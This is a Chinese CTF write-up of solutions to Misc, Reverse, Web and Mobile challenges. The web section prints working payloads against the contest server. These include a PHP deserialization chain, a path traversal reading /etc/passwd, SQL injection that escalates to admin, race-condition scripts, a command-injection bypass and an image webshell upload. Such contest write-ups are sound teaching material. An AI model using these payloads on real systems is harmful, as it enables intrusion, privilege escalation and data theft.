谜一般的比赛。。
题目实在是太多了,而且时间还只有一天=。=,还好在最后冲到了第六。。。
一、Misc
stage1:
拿到图片,使用Stegsolve.jar,在gray panel发现一个反色二维码,使用mac预览实现反色。
之后后扫描得到一串十六进制数。
03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000
发现头部03F30D0A
是pyc的magic number,于是python导入后执行dir发现有一个flag函数,执行后得到flag。
revereMe
观察到头尾发现反序jpg的magic number(FF D8和FF D9),用python将字节逆过来即可看到flag图片。
f=open('b','wb')
f.write(open('a','rb').read()[::-1])
test.pyc
用dis和uncompile2查看pyc发现flag3函数的逻辑,将给出字符串逆过来解base64再逆过来并且每个字符减一即可。
a = '=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf'
import base64
print ''.join(map(lambda x: chr(ord(x)-1), base64.b64decode(a[::-1])))[::-1]
二、Reverse
Hackme:
hackme题目给出了一个64位的二进制程序,可以在linux下运行,运行结果如下:
Give me the password: aaaa
Oh no!
那么这个题目应该就是让我们找一个能通过的pasword啦。
去ida里边打开题目分析看看,首先查看字符串,发现有这么一个看起来很厉害的字符串:
.rodata:00000000004881BE 00000009 C Congras\n
一看就让人觉得这就是通过之后的样子,于是跟过去看看,简单的做一下分析,可以得到这么一个函数:
__int64 __fastcall main(__int64 a1, char *password)
{
char input_pas[136]; // [sp+10h] [bp-B0h]@1
int v4; // [sp+98h] [bp-28h]@12
char v5; // [sp+9Fh] [bp-21h]@8
int v6; // [sp+A0h] [bp-20h]@5
unsigned __int8 input_char; // [sp+A6h] [bp-1Ah]@5
char original_bytes; // [sp+A7h] [bp-19h]@5
int v9; // [sp+A8h] [bp-18h]@5
int v10; // [sp+ACh] [bp-14h]@5
int v11; // [sp+B0h] [bp-10h]@5
int ten_times; // [sp+B4h] [bp-Ch]@4
int check_result; // [sp+B8h] [bp-8h]@4
int length; // [sp+BCh] [bp-4h]@1
printf("Give me the password: ");
scanf("%s", my_pass);
for ( length = 0; my_pass[length]; ++length )
;
is_right = length == 22;
cnt = 10;
do
{
v9 = (signed int)sub_406D90() % 22;
v11 = 0;
compareByte = fileBytes[(signed __int64)v9];
aChar = my_pass[v9];
v6 = v9 + 1;
v10 = 0;
while ( v10 < v6 )
{
++v10;
v11 = 0x6D01788D * v11 + 12345;
}
v5 = v11 ^ aChar;
if ( compareByte != ((unsigned __int8)v11 ^ aChar) )
check_result = 0;
--cnt;
}
while ( cnt );
if ( is_right )
v4 = printf("Congras\n", password);
else
v4 = printf("Oh no!\n", password);
return 0LL;
}
逻辑还是比较简单的,唯一一个比较神奇的地方是sub_406D90,实在是不知道是啥,不过根据猜测,
我觉得他得到的数不应该是变化的,不然题目的答案就不固定了,so,调试了一下发现真的是固定的。
那么剩下的任务就是把这个函数抄下来了,一个又去的地方是v5那儿,v5的亦或,其实也就是最后和
compareByte比较的那个,亦或是可逆的,所以按照他这里的比较,compareByte = v11 ^ aChar
因为 v11 ^ aChar ^ v11 = aChar,所以如果得到compareByte和v11了,就可以得到正确的数了。
v11的值和v16有关,v6和v9有关,v9的值其实是固定的,而且我抄了几个发现没啥规律,大致思考了一下,
v9的数其实是没有关系的。v9只要小于22就行了,因为两个v9一样使得比较的位置一样,那么v11也一样,
所以v9只要从0到21就可以了,所以有这个思路,用C写一个算一遍就好了
#include
char *cmp = "\x5f\xf2\x5e\x8b\x4e\x0e\xa3\xaa\xc7\x93\x81\x3d\x5f\x74\xa3\x09"
"\x91\x2b\x49\x28\x93\x67";
int main() {
for (int i = 0; i < 22; i++) {
char to_cmp = cmp[i];
int v10 = 0;
int v6 = i + 1;
int v11 = 0;
while (v10 < v6) {
v10 ++;
v11 = 0x6d01788d * v11 + 12345;
}
printf("%c", (char)v11 ^ to_cmp);
}
return 0;
}
最后flag: flag{d826e6926098ef46}
debug.exe
用jeb观察逻辑,发现过一个check就行,根据逻辑写出下面exp得到flag
def trans(a, b):
return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113][b]^a
print trans(1,10)
def cal(a, b):
for i in a:
i = ord(i)
for j in range(1,15):
i = trans(i, j)
b += chr(i)
return b
import hashlib
b = cal('CreateByTenshine','')
m = hashlib.md5()
m.update(b)
print 'flag{' + m.hexdigest().upper() + '}'
三、Web
PHP序列化:
可以直接看到index.php的源码:
代码审计2
在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
查看源码
然后访问query.php的时候提示:
Look me: edit by vim 0
试了一下vim备份文件的后缀,query.php~可以读到源码:
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
很明显需要序列化。在index.php里面设置了php的序列化handler是'php_serialize',而query.php里面没有设置,也就是默认的'php',所以可以利用session反序列化调用query.php里面的类。
只有TOPC有echo,分析了一下,构造顺序应该是:
TOPC > TOPB > TOPA
其中有几个点:
1. __wakeup可以通过改变属性数目大于实际数目绕过
2. 通过建立引用关系使得$this->obj->token和$this->obj->ticket保持相等
3. username和password可以直接取0,0弱等于字符串
试了一下,感觉线上的源码不太一样,会调用login,并且反序列化的时候会先反序列化内层的
构造payload:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
在index.php设置一下session,再访问query.php就行了
spring-css:
google了一下,有一个CVE的洞cve-2014-3625
链接里面有exp,读一下/etc/passwd,发现:
flag:x:1000:1000:Linux User,,,:/home/flag:/etc/flag
根据提示再读/etc/flag
http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
注入越权:
源码有提示:
发现uid可以直接修改,修改role不行,输引号会被mysql_escape_string拦 。
试了一下发现uid输反引号会报错,看了一下大概是update语句,所以可以注入设置role,引号不能用,就用admin的十六进制代替,也就是
uid=0,role=0x61646d696e
修改后返回原页面,得到flag
条件竞争:
题目给了源码,看了一下在reset密码时存在条件竞争漏洞,reset时有两步:
- 先将该用户信息清空并新插入一条信息,这时notadmin为False
- 然后再将notadmin设置为True
那么只要在第二步之前登录即可,所以跑两个程序,一个reset,一个login即可,我这里分别开了15个协程:
reset.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()
def reset():
for i in range(100):
cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
a = requests.post("http://218.2.197.232:18009/index.php?method=reset",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
print(a)
tasks = [gevent.spawn(reset) for i in range(15)]
gevent.joinall(tasks)
login.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()
def login():
for i in range(100):
cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
b = requests.post("http://218.2.197.232:18009/login.php?method=login",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
print(b)
tasks = [gevent.spawn(login) for i in range(15)]
gevent.joinall(tasks)
很快就能读到flag:
读文件:
只给了个1.txt可以读,试了一下加*不行,感觉不是命令执行,"../"返回上级目录也不行,猜测可能过滤了什么,在1.txt中间加上"./"发现仍能读取,说明"./"被过滤了,构造payload,在上级目录的flag.php的注释里读到flag
http://218.2.197.232:18008/a/down.php?p=...//fla./g.php
Web综合:
发现有.svn泄露,下载下来sqlite数据库文件,找到settings.inc.php的checksum,然后在
http://218.2.197.232:18007/.svn/pristine/c6/c63308801a9ec3b0c1aea96b061c00b1666adebb.svn-base
可以读到源代码,源码里有admin的密码,登陆上去可以上传图片,这里上传一个图片马就行了,只验证了content-type,菜刀连上去后,在07目录下找到f1a9.php
RCE绕过:
命令前后需要空格,但是被过滤,用%0a绕过,命令中的空格就不行了,fuzz一下,发现%09可以。另外"."也被过滤了,可以用*,于是直接读到flag.php:
http://218.2.197.232:18006/?cmd=%0acat%09fla*%0a
JAVA序列化:
网上找了个JAVA序列化的例子,推测了一下大概的格式,然后把题目的object的id和name对应修改一下,再Base64就OK了
rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
变态验证码怎么过:
网上搜了一下几种绕验证码的方式,都试了一下,发现只要第一次输对了验证码,后面直接把验证码设为空串就行了,然后用Burp和他给的password.txt爆破一下就行了
Forbidden:
注释提示要本机访问,各种改头部没用,后来发现改成localhost才行,也是醉了,然后后续每次修改都会有个提示,改Host啊,改Referer,改UA什么的,一步一步来就能得到最后flag
热身题:
扫了一下目录发现robots.txt,挨个读了一下里面的文件,最后在rob0t.php里面读到flag
四、Mobile
APK逆向
逆向看MainActivity,发现在checkSN中用输入与flag作比较
在对应点打断点
动态调试,断下来后就是flag
APK逆向2
Jeb查看manifest文件报错
解压出AndroidManifest.xml,用010Editor查看,即可得flag